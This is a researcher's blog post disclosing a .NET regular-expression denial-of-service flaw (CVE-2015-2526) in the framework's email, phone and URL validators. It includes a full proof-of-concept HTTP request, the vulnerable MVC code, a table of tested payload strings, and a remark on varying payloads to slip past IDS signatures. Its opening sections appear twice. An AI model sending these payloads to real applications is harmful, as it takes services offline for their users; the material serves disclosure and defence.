Microsoft released a security bulletin (MS15-101) describing a .NET MVC Denial of Service vulnerability (CVE-2015-2526) that I reported back in April. This blog post analyses the vulnerability in details, starting from the theory and then providing a PoC exploit against a MVC web application developed with Visual Studio 2013.
For those of you who want to see the bug, you can directly skip to the last part of this post or watch the video directly... ;-)
A bit of theory
The .NET framework (4.5 tested version) uses backtracking regular expression matcher when performing a match against an expression. Backtracking is based on the NFA (non-deterministic finite automata) algorithm engine which is designed to validate all input states. By providing an “evil” regex expression – an expression for which the engine can be forced to calculate an exponential number of states - it is possible to force the engine to calculate an exponential number of states, leading to a condition defined such as “catastrophic backtracking” aka ReDoS.
The vulnerability
In .NET Framework (4.5), “evil” regular expressions are used by default in three classes (EmailAddressAttribute, PhoneAttribute, UrlAttribute) which are part of System.CompontentModel.DataAnnotations .NET library.
These classes provide the default validation mechanism for email address, phone number and URL input types in web forms. Furthermore, these three classes do not enforce a regex match timeout.
The following screen shots show the evil regex and the lack of match timeout:
EmailAddressAttribute Source code
PhoneAttribute Source Code
UrlAttribute Source Code
As a consequence, an attacker can craft a malicious payload to force the .NET regex engine to perform a large number of computations and cause a Denial of Service against the targeted controller (e.g. login form) which uses default validation mechanism provided by .NET framework.
The Denial of Service condition is only specific to the target class controller (e.g. login form, registration form, contact form, etc.). Users can still potentially navigate the site but they are prevented from using parts of it.
Below, an extract of the source code used for the validation of the EmailAddress field:
Below a video that demonstrates the attack in action:
For those of you who want to see the bug, you can directly skip to the last part of this post or watch the video directly... ;-)
A bit of theory
The .NET framework (4.5 tested version) uses backtracking regular expression matcher when performing a match against an expression. Backtracking is based on the NFA (non-deterministic finite automata) algorithm engine which is designed to validate all input states. By providing an “evil” regex expression – an expression for which the engine can be forced to calculate an exponential number of states - it is possible to force the engine to calculate an exponential number of states, leading to a condition defined such as “catastrophic backtracking” aka ReDoS.
The vulnerability
In .NET Framework (4.5), “evil” regular expressions are used by default in three classes (EmailAddressAttribute, PhoneAttribute, UrlAttribute) which are part of System.CompontentModel.DataAnnotations .NET library.
These classes provide the default validation mechanism for email address, phone number and URL input types in web forms. Furthermore, these three classes do not enforce a regex match timeout.
The following screen shots show the evil regex and the lack of match timeout:
EmailAddressAttribute Source code
PhoneAttribute Source Code
UrlAttribute Source Code
As a consequence, an attacker can craft a malicious payload to force the .NET regex engine to perform a large number of computations and cause a Denial of Service against the targeted controller (e.g. login form) which uses default validation mechanism provided by .NET framework.
The Denial of Service condition is only specific to the target class controller (e.g. login form, registration form, contact form, etc.). Users can still potentially navigate the site but they are prevented from using parts of it.
As an example, the .NET email address regex is analyzed. Its regex expression is considered an “evil” regex, due to its complexity, repetition, nesting and recursion. The regex is reported in the screen shot below. The software RegexBuddy was used to analyze it.
The theory of the attack is demonstrated below, with the help of RegexBuddy and its built-in debugger (set for C# - .NET 2.0-4.5) - with payload (in the table below) which will never match the above regex:
t@t.t.t.t.t.t.t.t.t.t.t.t.t.t.t%20
An extract of the last 26 operations (stopped by RegexBuddy) can be found below, from the Debugger view:
This shows the “catastrophic backtracking” condition reached by the matcher. In this case, RegexBuddy stops calculations after one million steps, however, the vulnerable class – EmailAddressAttribute - does not enforce a match timeout and therefore the .NET regex engine continues to compute steps, leading the w3wp.exe process (IIS Worker Pool) on the web server to reach a 99% CPU starvation condition for an extended amount of time, which can last various hours to days, depending on the payload used.
The payload can be constructed in different ways, providing the attacker with the capability to bypass IDS/IPS signature based controls. The attacker can set scripts to automatically attack vulnerable forms on a regular time basis.
The exploit
The exploitation consists in sending a crafted HTTP POST request against a web form using a vulnerable class (e.g. EmailAddressAttribute). As an example, the attack is demonstrated against a .NET MVC web application developed with the Visual Studio 2013. The application provides a login form which uses the default email address validation mechanism in .NET framework. The screen shot below shows the login page:
An attacker can bypass client-side validation in .NET by sending the request via script or proxy and manipulating the request, as shown below:
POST /Account/Login HTTP/1.1
Host: 192.168.0.13
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.13/Account/Login
Cookie: __RequestVerificationToken=FkLGrc6-XD2IBVU9g1nPycs0GTu3jWiK2QEyvR8IsowXAJU3C5fHlHvQvwGgB0VcN1FTa_hB9KZ6Pi8SeI5EKpvz_EeOqD7y_FnipWJWqOU1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 239
__RequestVerificationToken=HQq6--asc9wLbvnvuapMLuj5y9f8tSg9n0JiEFivqKv_aeyl6eSaHaDtymjPgusP-spu-oUYa0xm7n_RKjmS9WOU2so8S96X6oY7K2fd3lk1&Email=t@t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.c%20&Password=test&RememberMe=false
Below, an extract of the source code used for the validation of the EmailAddress field:
AccountModelView.cs - use of [EmailAddress] default class in .NET
public class LoginViewModel
{
[Required]
[Display(Name = "Email")]
[EmailAddress]
public string Email { get; set; }
AccountController.cs – ModelState is validated when the POST request occurs
// POST: /Account/Login
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Login(LoginViewModel model, string
returnUrl)
{
if (!ModelState.IsValid)
{
return
View(model);
}
// This doesn't count login failures towards account
lockout
// To enable password failures to trigger account lockout,
change to shouldLockout: true
var
result = await SignInManager.PasswordSignInAsync(model.Email,
model.Password, model.RememberMe, shouldLockout: false);
switch
(result)
{
The table below shows the DoS condition on the web server, after the request has been issued.
Following the request, the Denial of Service occurs against the /Account/Login controller class. At this stage, no other users can use /Account/Login form controller class, while the w3wp.exe process is at 99% CPU starvation.
The w3wp.exe process needs to be terminated in order to recover the application from the attack. After few manual recoveries, the application becomes unusable, and the server needs to be restarted.
Below a video that demonstrates the attack in action:
The table below includes valid and tested attack patterns which result in a successful ReDoS attack against .NET applications:
Malicious Payload
|
Class
|
t@t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.
t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.t.c%20 |
EmailAddressAttribute
|
666666666666666666666666666666666666d
|
PhoneAttribute
|
http%3A%2F%2FtFtFtFtFtFtFtFtFtFtFtFtFtFtF
tFtFtFtFtFtFtFtFtFtFtest%2ecoK%2ecoK%2eco K%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ec oK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2e coK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2 ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK% 2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK %2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2eco K%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ec oK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2ecoK%2e coK%2ecoK%2ecoKøøm |
UrlAttribute
|
References
"Backtracking is based on the NFA non-finite-algorithm".
ReplyDeleteDid you mean "Non-deterministic Finite Automaton"?
Yes, thx for the comment, rectified in the article.
ReplyDeleteDinis Cruz's blog on the same topic... http://blog.diniscruz.com/2013/03/the-email-regex-that-could-had-dosed.html
ReplyDelete